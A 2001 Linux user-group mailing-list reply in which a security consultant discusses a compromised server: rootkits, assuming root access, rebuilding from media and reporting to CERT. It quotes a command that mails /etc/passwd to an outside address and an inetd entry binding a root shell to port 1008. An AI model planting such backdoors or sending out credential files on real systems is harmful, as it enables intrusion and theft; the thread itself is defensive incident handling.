- To: <slug@xxxxxxxxxxx>
- Subject: [SLUG] Re: Security Breaches
- From: Rebecca Richards <r.richards@xxxxxxxxxxxxxxx>
- Date: Wed Feb 28 15:35:02 2001
- User-agent: IMP/PHP IMAP webmail program 2.2.0-pre10
> From: Umar Goldeli <umar@xxxxxxxxxxxxxx>
> To: Sean Carmody <sean@xxxxxxxxxxxxxxxxxxxxxxxxxxx>
> Subject: Re: [SLUG] Security Breach
> > Feb 28 01:53:07 emu portmap: connect from 126.96.36.199 to
> > getport(status): request from unauthorized host
> Why are you rnning the portmapper? Turn it off if youdon't specifically
> need it.
I would agree with you on this one. RPC services is a favourite for script-
kiddies, and buffer overflows will often give remote root access.
> a "netstat -an | grep LISTEN" will show you "evilthings(tm)" ;)
Not necessarily. Some rootkits have nobbled the "netstat", "ps" and other
system binaries, so that they don't show up suspicious processes/listening
ports/logged in users.
> Remember - root access is generally the *eventual* goal... just because he
> got in as userx, doesn't mean he has root, or even a shell for that
Yes, it is the eventual goal, but on some occasions, they get it first up.
If anyone has managed to get access illegally, you _MUST_ assume that they have
root access. There is no way you can assume that they got in as a normal user,
and managed to find a way to access privileged information.
> It could be as simple as a buffer oveflow with something like
> "/bin/mailx < /etc/passwd bob@xxxxxxxxxxx" etc.. (or somehting like
Yes, there are many forms of "compromise" available. If the attacker is able
to run a command as root (which it seems they have been able to do in order to
get access to /etc/shadow), you must assume that they have been able to
compromise the machine in a way as to provide remote shell access. There are
several backdoor proggies available to the script kiddies to assist them to do
> It could be anything.. either way - you know that something has
> happened. Make an executive decision to decide if it has (I think it
> has) and pull the box from production, rebuild it, secure it, patch it,
> then change all user passwords (if any).
If possible it would be good to pull the box out, and compare the system to the
distribution RPMS - you can compare the RPMS and see if anything has changed.
That way, you can send information to AusCERT and CERT.
Then you rebuild from distribution media. I wouldn't rely on backups, as you
don't know exactly when they managed to hack into your machine.
> From: Simon Bowden <simonb@xxxxxxxxxxx>
> Subject: Re: [SLUG] Security Breach
> I think this is because somewhere in teh process of getting in,
> they broke my local named (i wasnt working in the morning) - that or
> somewhere upstream someone hurt DNS - I was getting a lot of "Lame
Sounds like they are using BIND exploits.
> The ISP I was on was Telstra bigpond - if its the same, maybe they were
> scanning that range of addresses.
Bigpond what? Cable, ADSL, dial-up?
Suspiciously, this afternoon their ADSL service went on the blink. I wonder
whether that outage is connected or not...
> The other change I found was the following entry on the end of
> 1008 stream tcp nowait root /bin/sh sh
> which you may want to check for and remove/comment.
I would remove it - in fact a rebuild should be the only option at this point,
as you can't be sure of anything on the system anymore.
> The fact taht they edited /etc/inetd.conf and cat-d shadow indicates root
> priveleges. However, there doesnt seem to be any evidence of things inside
> or other changes, so possibly a buffer of exploit type deal?
And you expect them to give you any clues? You should assume that they broke
in, and removed most traces of the hack. A casual inspection would most likely
not show anything to be amiss.
However, if you have Tripwire or something similar, you can determine which
files have been changed.
Another thing to consider is to use IP Chains or IP Tables or something to
provide some form of defense against portscans and stuff. It's not going to
stop them cold, but it can help slow them down.
Rebecca Richards, CCSA CCSE, Unix/Security Consultant, e-Secure Pty Ltd
"Secure in a Networked World" Phone: (02) 9438 4984 Fax: (02) 9438 4986
Suite 201, 2-4 Pacific Highway Mobile: 0412 823 206
St Leonards NSW Australia Email: r.richards@xxxxxxxxxxxxxxx
ACN 068 798 194 http://www.e-secure.com.au